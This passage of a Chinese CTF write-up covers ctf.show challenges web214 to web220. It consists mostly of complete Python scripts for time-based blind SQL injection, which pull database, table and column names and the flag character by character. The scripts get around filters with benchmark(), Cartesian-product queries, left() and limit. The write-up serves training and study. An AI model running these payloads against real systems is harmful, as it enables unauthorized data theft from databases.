for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table}' ),{i},1)='{char}',sleep(4),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=4 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,列名为"+find)
break


def brute_force3(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(substr((select group_concat({column}) from {table} ),{i},1)='{char}',sleep(4),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=4 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,flag为"+find)
break


if __name__ == "__main__":
# 指定的URL
url = 'http://0ea25f6a-a556-4083-bb9c-5a0404cf9f21.challenge.ctf.show/api/index.php'
database=brute_force(url)
brute_force1(url)
table=input("请输入表名:")
brute_force2(url)
column=input("请输入列名:")
brute_force3(url)

image-20250104233447913

image-20250104233501594

image-20250104233512981

image-20250104233524471

web215(单引号闭合)

和上题一样的向api/index.phpPOST传参ip和debug,只不过要用单引号闭合,构造payload进行测试

debug=1&ip=1' or if(ascii(substr(database(),1,1))=99,sleep(2),sleep(5))#

image-20250105104441334

测试成功,更改上题脚本来进行时间盲注

#需要手动输入表名,列名
import requests
import time
import string

def brute_force(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"1' or if(substr(database(),{i},1)='{char}',sleep(4),0)#"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=4 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,库名为"+find)
break
return find


def brute_force1(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"1' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{i},1)='{char}',sleep(4),0)#"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=4 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,表名为"+find)
break


def brute_force2(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"1' or if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table}' ),{i},1)='{char}',sleep(4),0)#"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=4 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,列名为"+find)
break


def brute_force3(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"1' or if(substr((select group_concat({column}) from {table} ),{i},1)='{char}',sleep(4),0)#"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=4 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,flag为"+find)
break


if __name__ == "__main__":
# 指定的URL
url = 'http://25d7140b-0e46-4acc-9114-db558df7419d.challenge.ctf.show/api/index.php'
database=brute_force(url)
brute_force1(url)
table=input("请输入表名:")
brute_force2(url)
column=input("请输入列名:")
brute_force3(url)

image-20250105110356267

image-20250105110406964

image-20250105110415079

image-20250105110502713

web216(括号闭合)

题目要求对ip进行base64解码后查询,构造payload

#debug=1&ip=if(ascii(substr(database(),1,1))=99,sleep(2),sleep(5))
debug=1&ip=aWYoYXNjaWkoc3Vic3RyKGRhdGFiYXNlKCksMSwxKSk9OTksc2xlZXAoMiksc2xlZXAoNSkp

image-20250105112503391

但是发现数据被括号闭合了,即手动闭合前括号,都不用base64加密了

image-20250105112825270

测试成功,开始时间盲注

#需要手动输入表名,列名
import requests
import time
import string

def brute_force(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"1) or if(substr(database(),{i},1)='{char}',sleep(4),0)#"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=4 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,库名为"+find)
break
return find


def brute_force1(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"1) or if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{i},1)='{char}',sleep(4),0)#"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=4 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,表名为"+find)
break


def brute_force2(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"1) or if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table}' ),{i},1)='{char}',sleep(4),0)#"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=4 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,列名为"+find)
break


def brute_force3(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"1) or if(substr((select group_concat({column}) from {table} ),{i},1)='{char}',sleep(4),0)#"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=4 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,flag为"+find)
break


if __name__ == "__main__":
# 指定的URL
url = 'http://5834e11a-e430-4226-9791-6af509fe403a.challenge.ctf.show/api/index.php'
database=brute_force(url)
brute_force1(url)
table=input("请输入表名:")
brute_force2(url)
column=input("请输入列名:")
brute_force3(url)

image-20250105115808709

image-20250105115818410

image-20250105115824980

image-20250105115755225

web217(过滤sleep函数)

补充:benchmark()函数

作用

用于MySQL 数据库,用于测试表达式的执行速度。它重复执行一个表达式指定的次数,并返回执行结果。

语法

BENCHMARK(count, expr)
  • count: 表示要执行表达式的次数。
  • expr: 要执行的表达式。

示例

  1. 测试简单表达式

    SELECT BENCHMARK(1000000, 'a' + 'b');

    这条语句会将 'a' + 'b' 执行 1,000,000 次。由于这是个无效的字符串操作,实际上没有什么实际意义,但可以用来测试性能。

  2. 测试复杂表达式

    SELECT BENCHMARK(1000000, MD5('test'));

    这条语句会将 MD5(‘test’)执行 1,000,000 次,用于测试哈希函数的性能。

  3. 结合其他 SQL 查询

    SELECT BENCHMARK(1000000, CONCAT('Hello', 'World'));

    这条语句会将 CONCAT('Hello', 'World') 执行 1,000,000 次,用于测试字符串连接操作的性能。


注入过程

进行测试

debug=1&ip=if(ascii(substr(database(),1,1))=99,benchmark(2000000,MD5('test')),benchmark(5000000,MD5('test')))

image-20250105131400713

测试成功,大概100000次就是0.1秒,因此改脚本进行时间盲注(由于benchmark函数第一个数字太大时容易把环境跑崩,所以适当减少秒数)

#需要手动输入表名,列名,该脚本benchmark次数和响应时间判断要根据网络情况调整,我在2500000和2的时候比较稳定
import requests
import time
import string

def brute_force(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(substr(database(),{i},1)='{char}',benchmark(2500000,MD5('test')),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=2 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,库名为"+find)
break
return find


def brute_force1(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{i},1)='{char}',benchmark(2500000,MD5('test')),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=2 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,表名为"+find)
break


def brute_force2(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table}' ),{i},1)='{char}',benchmark(2500000,MD5('test')),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=2 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,列名为"+find)
break


def brute_force3(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(substr((select group_concat({column}) from {table} ),{i},1)='{char}',benchmark(2500000,MD5('test')),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=2 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,flag为"+find)
break


if __name__ == "__main__":
# 指定的URL
url = 'http://7c47fda9-eda4-43ed-a634-a6533c2ea0b9.challenge.ctf.show/api/index.php'
database=brute_force(url)
brute_force1(url)
table=input("请输入表名:")
brute_force2(url)
column=input("请输入列名:")
brute_force3(url)

image-20250105132059788

image-20250105132647764

image-20250105132654302

image-20250105134742293

web218(+benchmark)

补充:笛卡儿积

概念

在数学和数据库领域,笛卡尔积是指两个集合A和B的所有可能组合形成的集合。例如,如果A = {1, 2} 和 B = {a, b},那么A和B的笛卡尔积是 {(1,a), (1,b), (2,a), (2,b)}。在SQL查询中,如果没有指定连接条件,两个表进行连接时会生成笛卡尔积,即每个表中的每一行都与另一个表中的每一行配对。

用法

(select count(*) from information_schema.columns A, information_schema.columns B)
#将两个information_schema.columns互相连接,注意这两个表列数要相同,如果是tables和columns连接就可能失效

注入过程

该题通过笛卡儿积进行盲注,构造payload测试(不需要再添加一个information_schema.columns C,容易转崩,亲测有效)

debug=1&ip=if(ascii(substr(database(),1,1))=99,(select count(*) from information_schema.columns A, information_schema.columns B),0)

image-20250105143613557

image-20250105143654752

PS:现在才发现这题和上题都有括号,但是和web216不同的是这两个题就相当于子查询语句了,所以不用闭合也能得出结果

通过测试发现不同结果的时间不同,则使用脚本进行时间盲注

#需要手动输入表名,列名,该脚本的响应时间发生改变,经过测试差不多大于1.5秒合理,应该根据网速合理更改
import requests
import time
import string

def brute_force(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(substr(database(),{i},1)='{char}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=1.5 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,库名为"+find)
break
return find


def brute_force1(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{i},1)='{char}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=1.5 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,表名为"+find)
break


def brute_force2(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table}' ),{i},1)='{char}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=1.5 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,列名为"+find)
break


def brute_force3(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(substr((select group_concat({column}) from {table} ),{i},1)='{char}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=1.5 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,flag为"+find)
break


if __name__ == "__main__":
# 指定的URL
url = 'http://b817b2f0-0ddc-4315-9ea8-a08833bc417a.challenge.ctf.show/api/index.php'
database=brute_force(url)
brute_force1(url)
table=input("请输入表名:")
brute_force2(url)
column=input("请输入列名:")
brute_force3(url)

image-20250105144548883

image-20250105144800535

image-20250105145627656

image-20250105145619226

web219(+rlike)

补充:rlike函数

作用

rlike是一个用于模式匹配的函数,通常在 MySQL 数据库中使用。它与 LIKE 类似,但提供了更强大的正则表达式支持,允许你进行更复杂的模式匹配。rlike用于检查一个字符串是否与给定的正则表达式模式匹配。如果匹配成功,则返回 1(真),否则返回 0(假)。它可以用于 WHERE 子句中来筛选符合条件的行。

语法

expression RLIKE pattern
  • expression:要进行匹配的字符串或列。
  • pattern:正则表达式的模式。

示例

  1. 基本模式匹配

    SELECT * FROM table_name WHERE column_name RLIKE 'pattern';
  2. 匹配以特定字符开头的字符串

    SELECT * FROM table_name WHERE column_name RLIKE '^abc';

    这将返回所有以 “abc” 开头的记录。

  3. 匹配包含特定字符的字符串

    SELECT * FROM table_name WHERE column_name RLIKE 'xyz';

    这将返回所有包含 “xyz” 的记录。

  4. 匹配以特定字符结尾的字符串

    SELECT * FROM table_name WHERE column_name RLIKE 'xyz$';

    这将返回所有以 “xyz” 结尾的记录。

  5. 匹配多个条件

    SELECT * FROM table_name WHERE column_name RLIKE 'abc|def';

    这将返回所有包含 “abc” 或 “def” 的记录。

  6. 匹配数字

    SELECT * FROM table_name WHERE column_name RLIKE '[0-9]';

    这将返回所有包含数字的记录。

  7. 忽略大小写: 正则表达式本身不区分大小写,但如果需要确保忽略大小写,可以在模式中使用 (?i) 标志:

    SELECT * FROM table_name WHERE column_name RLIKE '(?i)pattern';

注入过程

禁用了rlike()函数,但是经过测试上题的笛卡儿积方法也能用,沿用上题脚本(上题估计可以通过rlike正则匹配数据来造成时间差异)

#需要手动输入表名,列名,该脚本的响应时间发生改变,经过测试差不多将数据换为四个索引列表(information_schema.statistics)互相连接后,大于5秒合适,应该根据网速合理更改数据和响应时间(当然,也可能沾点玄学,毕竟相同的数据第一次出不了,第二次出了)
import requests
import time
import string

def brute_force(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(substr(database(),{i},1)='{char}',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=5 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,库名为"+find)
break
return find


def brute_force1(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{i},1)='{char}',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=5 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,表名为"+find)
break


def brute_force2(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table}' ),{i},1)='{char}',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=5 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,列名为"+find)
break


def brute_force3(url):
find = ''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(substr((select group_concat({column}) from {table} ),{i},1)='{char}',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=5 :
find += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,flag为"+find)
break


if __name__ == "__main__":
# 指定的URL
url = 'http://04eddeb2-c30c-43b7-9e76-0fc69d9982b8.challenge.ctf.show/api/index.php'
database=brute_force(url)
brute_force1(url)
table=input("请输入表名:")
brute_force2(url)
column=input("请输入列名:")
brute_force3(url)

image-20250106161621885

image-20250106161631127

image-20250106161745852

image-20250106170328590

web220(+substr+ascii+concat)

补充:limit()函数

作用

用于限制查询结果返回的行数。

语法

SELECT column1, column2, ...
FROM table_name
LIMIT offset, count;
  • offset: 起始位置(可选),从0开始计数。
  • count: 返回的最大行数。

示例

-- 返回前5行
SELECT * FROM employees LIMIT 5;

-- 返回从第6行开始的5行(即第7行到第11行)
SELECT * FROM employees LIMIT 5 OFFSET 5;

-- 等价于上面的写法
SELECT * FROM employees LIMIT 5, 5;

注入过程

把substr(),ascii()和group_concat()都过滤了,可参考布尔盲注的web191,web193,使用left(),ord()和limit()绕过,构造payload如下

debug=1&ip=if(ord(left(database(),1)=99),(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)

image-20250106171329723

image-20250106171924360

测试成功(图一)(现在才发现我为啥一直用的ascii()测试,明明可以直接测试是否为c的,如图二),更改脚本盲注

#需要手动输入表名,列名,该脚本使用limit时每次只能出一个参数,所以爆表名用0,1;爆列名用1,1;问为社么,那就是前面时间盲注的经验
import requests
import time
import string

def brute_force(url):
find = ''
str=''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(left(database(),{i})='{str+char}',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=5 :
find += char
str += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,库名为"+find)
break
return find


def brute_force1(url):
find = ''
str=''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(left((select table_name from information_schema.tables where table_schema='{database}' limit 0,1),{i})='{str+char}',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=5 :
find += char
str += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,表名为"+find)
break


def brute_force2(url):
find = ''
str=''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(left((select column_name from information_schema.columns where table_name='{table}' limit 1,1),{i})='{str+char}',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=5 :
find += char
str += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,列名为"+find)
break


def brute_force3(url):
find = ''
str=''
for i in range(1,100):
found_char = False
for char in string.ascii_letters + string.digits +'_'+'{'+'}'+','+'-':
payload = f"if(left((select {column} from {table} ),{i})='{str+char}',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)"
start_time = time.time()
response = requests.post(url, data={'ip': payload, 'debug': '1'})
elapsed_time = time.time() - start_time

if elapsed_time >=5 :
find += char
str += char
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,flag为"+find)
break


if __name__ == "__main__":
# 指定的URL
url = 'http://52d2b635-887b-41db-9096-bee49f658ddf.challenge.ctf.show/api/index.php'
database=brute_force(url)
brute_force1(url)
table=input("请输入表名:")
brute_force2(url)
column=input("请输入列名:")
brute_force3(url)

image-20250106180858655

image-20250106180907308

image-20250106180915737

image-20250106182008298

到这里时间盲注就告一段落了,下面就是其他注入了


其他注入

web221(limit注入)